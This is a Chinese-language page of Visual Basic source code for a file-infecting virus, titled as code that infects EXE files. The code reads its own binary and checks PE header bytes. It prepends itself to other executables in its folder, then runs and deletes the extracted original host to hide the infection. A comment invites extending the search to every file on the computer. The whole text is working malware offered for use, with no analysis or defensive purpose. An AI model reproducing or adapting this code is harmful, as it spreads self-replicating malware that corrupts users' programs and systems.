感染EXE文件的病毒代码
感染EXE文件的病毒代码
** Victim As String '要感染的文件的名字
** HostLen As Long '要感染的文件的大小
** vbArray() As Byte '病毒的代码
** hArray() As Byte '要感染的文件的代码
** lenght As Long
** MySize As Integer '病毒的大小
** Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
** Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
** Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
** iResult As Long
** hProg As Long
** idProg As Long
** iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
** Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理
'原理：将生成病毒文件的代码读出，粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'这是在读自己的代码
Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。）
While Victim <> ""
If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'读出病毒自身的代码
If hArray(&H69) <> &H4D Then
i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文件（不是圈套）
End If
End If
'读出准备被感染的文件的代码
Victim = Dir() 'Next
Wend
'下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1
Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1
idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"
Else
Close #1
End If
End
vbVerror: '出错处理，空着就可以了
End Sub
